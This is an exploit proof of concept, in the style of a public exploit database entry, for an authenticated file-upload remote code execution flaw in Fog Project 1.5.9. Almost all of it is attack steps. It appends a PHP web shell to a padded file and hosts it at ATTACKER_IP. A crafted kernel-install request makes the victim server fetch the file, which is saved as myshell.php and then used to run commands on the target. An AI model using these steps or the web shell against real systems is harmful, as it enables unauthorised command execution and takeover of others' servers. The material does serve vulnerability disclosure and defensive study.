Fog Project version 1.5.9 suffers from a remote shell upload vulnerability.
4137325100e71652f6c4dc385797fd66# Exploit Title: Fog Project - File Upload RCE (Authenticated)
# Date: 2021-04-28
# Exploit Author: [email protected]
# Vendor Homepage: https://fogproject.org
# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
# Tested on: Debian 10
On the Attacker Machine:
1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1
2) Add your PHP code to the end of the file created in the step 1.
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell
3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html
4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=
5) Visit
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=<YOUR_MYSHELL_URL_HERE>=&arch=arm64
Example:
http://192.168.1.120/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=&arch=arm64
6) Appears a textbox, change the Kernel Name (bzImage32) to myshell.php
and click on Install.
7) Visit http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=hostname